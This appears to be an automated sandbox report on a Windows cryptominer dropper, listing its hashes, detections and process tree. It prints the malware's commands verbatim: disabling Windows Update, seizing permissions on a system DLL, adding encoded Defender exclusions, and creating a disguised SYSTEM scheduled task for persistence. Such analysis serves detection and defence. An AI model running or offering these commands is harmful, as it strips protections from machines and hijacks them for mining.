Analysis
-
max time kernel
151s -
max time network
151s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
10-11-2022 18:59
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win7-20220812-en
General
-
Target
file.exe
-
Size
2.5MB
-
MD5
3db308a4a293420df30a444944f2ccb6
-
SHA1
4cae8d8a25167bc0ce3e8bfae7ccde1b82f7b0ea
-
SHA256
a9cd4676ee19c15148cf4590b9f32363bd61ecb3ddfc28673a797e8cf3fda5a7
-
SHA512
a74aea4470291b28a04d7eff1ec2e00fd5e445f6235c8e266a34f5041c63c875f874a8e66eb8c10ea0a56c7ee2130deaf2addc011959942296b015293f805c79
-
SSDEEP
49152:BIX8orGKWyNi/abKDNtEgSsoi/hiO0WygnaWjIe1BSORYt3m5rj4A19oo/tGIPIP:bBsi/cKRt1SsoipihWyzcbaqYpm5wA10
Malware Config
Signatures
-
Modifies security service 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe -
XMRig Miner payload 13 IoCs
Processes:
resource yara_rule behavioral1/memory/816-148-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/816-150-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/816-152-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/816-153-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/816-154-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/816-156-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/816-158-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/816-159-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/816-160-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/816-162-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/816-164-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/816-165-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/816-167-0x0000000140000000-0x0000000140809000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 1980 updater.exe -
Possible privilege escalation attempt 4 IoCs
Processes:
takeown.exeicacls.exetakeown.exeicacls.exepid process 884 takeown.exe 1412 icacls.exe 1160 takeown.exe 556 icacls.exe -
Stops running service(s) 3 TTPs
-
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 1540 taskeng.exe -
Modifies file permissions 1 TTPs 4 IoCs
Processes:
takeown.exeicacls.exetakeown.exeicacls.exepid process 1160 takeown.exe 556 icacls.exe 884 takeown.exe 1412 icacls.exe -
Drops file in System32 directory 2 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
conhost.exedescription pid process target process PID 1108 set thread context of 816 1108 conhost.exe notepad.exe -
Drops file in Program Files directory 3 IoCs
Processes:
conhost.execonhost.exedescription ioc process File created C:\Program Files\Google\Libs\WR64.sys conhost.exe File created C:\Program Files\Google\Chrome\updater.exe conhost.exe File opened for modification C:\Program Files\Google\Chrome\updater.exe conhost.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 820 sc.exe 2040 sc.exe 1248 sc.exe 1528 sc.exe 1992 sc.exe 1648 sc.exe 1932 sc.exe 884 sc.exe 556 sc.exe 916 sc.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 9 IoCs
Processes:
conhost.exepowershell.exenotepad.exedescription ioc process Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" conhost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 600020fd3ef5d801 powershell.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates notepad.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CRLs notepad.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ conhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT notepad.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CTLs notepad.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" conhost.exe -
Modifies registry key 1 TTPs 18 IoCs
Processes:
reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exepid process 1736 reg.exe 584 reg.exe 1724 reg.exe 1048 reg.exe 1248 reg.exe 1640 reg.exe 1076 reg.exe 1480 reg.exe 1084 reg.exe 1376 reg.exe 1696 reg.exe 740 reg.exe 940 reg.exe 1976 reg.exe 896 reg.exe 1692 reg.exe 1756 reg.exe 1712 reg.exe -
Suspicious behavior: EnumeratesProcesses 56 IoCs
Processes:
powershell.execonhost.exepowershell.execonhost.exenotepad.exepid process 1968 powershell.exe 304 conhost.exe 1820 powershell.exe 1108 conhost.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe 816 notepad.exe -
Suspicious use of AdjustPrivilegeToken 15 IoCs
Processes:
powershell.execonhost.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exetakeown.exepowershell.execonhost.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exetakeown.exenotepad.exedescription pid process Token: SeDebugPrivilege 1968 powershell.exe Token: SeDebugPrivilege 304 conhost.exe Token: SeShutdownPrivilege 1688 powercfg.exe Token: SeShutdownPrivilege 1108 powercfg.exe Token: SeShutdownPrivilege 1820 powercfg.exe Token: SeShutdownPrivilege 1192 powercfg.exe Token: SeTakeOwnershipPrivilege 1160 takeown.exe Token: SeDebugPrivilege 1820 powershell.exe Token: SeDebugPrivilege 1108 conhost.exe Token: SeShutdownPrivilege 2004 powercfg.exe Token: SeShutdownPrivilege 1584 powercfg.exe Token: SeShutdownPrivilege 1072 powercfg.exe Token: SeShutdownPrivilege 1288 powercfg.exe Token: SeTakeOwnershipPrivilege 884 takeown.exe Token: SeLockMemoryPrivilege 816 notepad.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
file.execonhost.execmd.execmd.exedescription pid process target process PID 1492 wrote to memory of 304 1492 file.exe conhost.exe PID 1492 wrote to memory of 304 1492 file.exe conhost.exe PID 1492 wrote to memory of 304 1492 file.exe conhost.exe PID 1492 wrote to memory of 304 1492 file.exe conhost.exe PID 304 wrote to memory of 1968 304 conhost.exe powershell.exe PID 304 wrote to memory of 1968 304 conhost.exe powershell.exe PID 304 wrote to memory of 1968 304 conhost.exe powershell.exe PID 304 wrote to memory of 112 304 conhost.exe cmd.exe PID 304 wrote to memory of 112 304 conhost.exe cmd.exe PID 304 wrote to memory of 112 304 conhost.exe cmd.exe PID 304 wrote to memory of 1704 304 conhost.exe cmd.exe PID 304 wrote to memory of 1704 304 conhost.exe cmd.exe PID 304 wrote to memory of 1704 304 conhost.exe cmd.exe PID 112 wrote to memory of 884 112 cmd.exe sc.exe PID 112 wrote to memory of 884 112 cmd.exe sc.exe PID 112 wrote to memory of 884 112 cmd.exe sc.exe PID 1704 wrote to memory of 1688 1704 cmd.exe powercfg.exe PID 1704 wrote to memory of 1688 1704 cmd.exe powercfg.exe PID 1704 wrote to memory of 1688 1704 cmd.exe powercfg.exe PID 112 wrote to memory of 820 112 cmd.exe sc.exe PID 112 wrote to memory of 820 112 cmd.exe sc.exe PID 112 wrote to memory of 820 112 cmd.exe sc.exe PID 112 wrote to memory of 2040 112 cmd.exe sc.exe PID 112 wrote to memory of 2040 112 cmd.exe sc.exe PID 112 wrote to memory of 2040 112 cmd.exe sc.exe PID 1704 wrote to memory of 1108 1704 cmd.exe powercfg.exe PID 1704 wrote to memory of 1108 1704 cmd.exe powercfg.exe PID 1704 wrote to memory of 1108 1704 cmd.exe powercfg.exe PID 112 wrote to memory of 1248 112 cmd.exe sc.exe PID 112 wrote to memory of 1248 112 cmd.exe sc.exe PID 112 wrote to memory of 1248 112 cmd.exe sc.exe PID 112 wrote to memory of 1528 112 cmd.exe sc.exe PID 112 wrote to memory of 1528 112 cmd.exe sc.exe PID 112 wrote to memory of 1528 112 cmd.exe sc.exe PID 1704 wrote to memory of 1820 1704 cmd.exe powercfg.exe PID 1704 wrote to memory of 1820 1704 cmd.exe powercfg.exe PID 1704 wrote to memory of 1820 1704 cmd.exe powercfg.exe PID 112 wrote to memory of 1640 112 cmd.exe reg.exe PID 112 wrote to memory of 1640 112 cmd.exe reg.exe PID 112 wrote to memory of 1640 112 cmd.exe reg.exe PID 112 wrote to memory of 1724 112 cmd.exe reg.exe PID 112 wrote to memory of 1724 112 cmd.exe reg.exe PID 112 wrote to memory of 1724 112 cmd.exe reg.exe PID 1704 wrote to memory of 1192 1704 cmd.exe powercfg.exe PID 1704 wrote to memory of 1192 1704 cmd.exe powercfg.exe PID 1704 wrote to memory of 1192 1704 cmd.exe powercfg.exe PID 112 wrote to memory of 1736 112 cmd.exe reg.exe PID 112 wrote to memory of 1736 112 cmd.exe reg.exe PID 112 wrote to memory of 1736 112 cmd.exe reg.exe PID 112 wrote to memory of 740 112 cmd.exe reg.exe PID 112 wrote to memory of 740 112 cmd.exe reg.exe PID 112 wrote to memory of 740 112 cmd.exe reg.exe PID 112 wrote to memory of 1076 112 cmd.exe reg.exe PID 112 wrote to memory of 1076 112 cmd.exe reg.exe PID 112 wrote to memory of 1076 112 cmd.exe reg.exe PID 112 wrote to memory of 1160 112 cmd.exe takeown.exe PID 112 wrote to memory of 1160 112 cmd.exe takeown.exe PID 112 wrote to memory of 1160 112 cmd.exe takeown.exe PID 112 wrote to memory of 556 112 cmd.exe icacls.exe PID 112 wrote to memory of 556 112 cmd.exe icacls.exe PID 112 wrote to memory of 556 112 cmd.exe icacls.exe PID 304 wrote to memory of 1876 304 conhost.exe cmd.exe PID 304 wrote to memory of 1876 304 conhost.exe cmd.exe PID 304 wrote to memory of 1876 304 conhost.exe cmd.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\file.exe"2⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAcABpAGgAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBvAHkAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbwBwAHIAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAZgB0ACMAPgA="3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc4⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f4⤵
- Modifies security service
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 03⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Program Files\Google\Chrome\updater.exe\""3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Program Files\Google\Chrome\updater.exe\""4⤵
- Creates scheduled task(s)
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /run /tn "GoogleUpdateTaskMachineQC"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "GoogleUpdateTaskMachineQC"4⤵
-
C:\Windows\system32\taskeng.exetaskeng.exe {26108932-A14E-4C30-97A1-8EF1998B8A06} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Executes dropped EXE
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Program Files\Google\Chrome\updater.exe"3⤵
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAcABpAGgAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBvAHkAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbwBwAHIAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAZgB0ACMAPgA="4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE4⤵
-
C:\Windows\system32\sc.exesc stop UsoSvc5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc5⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f5⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f5⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f5⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f5⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f5⤵
- Modifies registry key
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll5⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f5⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f5⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f5⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f5⤵
- Modifies registry key
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE5⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE5⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE5⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE5⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE5⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE5⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 04⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe "giyxhlnw"4⤵
-
C:\Windows\System32\notepad.exeC:\Windows\System32\notepad.exe xzdqclthzpcazp0 6E3sjfZq2rJQaxvLPmXgsBL6xjjYguHWtOpZ+stIdvsjpN5Mqdy4DBfa6KATFfaKQjZcNqd1938GRB8dGIm2jUo1P1EwqD6WsAjiwuDAWLCfR3BRzADWgpJ7CQxFR7+anCrIhDT/00bieUv+n3qzA/ZBTeGzJOEzp2ufDT4ez7i94dFOd7htQWVDfk0FvX4a+088kTIG70C+qoBp7PPo1o2A5n8KneHMS5/guyM+nQkyz5PCuPtW1otcyRyfkXuJFiqnw4xHcIav5OP5k07szbPwxOTbqWzmU88osXNGi3m9t4Gwg0G56kg7iABsHbrK5UzmJ/FgcEz0jZ/3un+gS+Rf+IWiuYLXvFLT3dhSYQEp2MbWtYrce1ynEL2g4m1i3nZh07E/ntkN3OenhsoDXadhJLavl9NK0sNtCm2olw7Es0i9g5kp1KX++H2R+p8TerO894R0g6VcrvRRJ+3FNfFJEDMYbyeu61ZEsJe2P9UVJBbbbkXTZny0JoLyKbpVAGAT9wmmSPrpsDA8G3bbPD2mzExQDUSq6vDCincR1pfndSpJ6ETOEAak8MK+m/fKPDk8iiEXOF+mvhBrtYGTnSCz2kL1bsCs/yWKCKTGO/4=4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\Google\Chrome\updater.exeFilesize
2.5MB
MD53db308a4a293420df30a444944f2ccb6
SHA14cae8d8a25167bc0ce3e8bfae7ccde1b82f7b0ea
SHA256a9cd4676ee19c15148cf4590b9f32363bd61ecb3ddfc28673a797e8cf3fda5a7
SHA512a74aea4470291b28a04d7eff1ec2e00fd5e445f6235c8e266a34f5041c63c875f874a8e66eb8c10ea0a56c7ee2130deaf2addc011959942296b015293f805c79
-
C:\Program Files\Google\Chrome\updater.exeFilesize
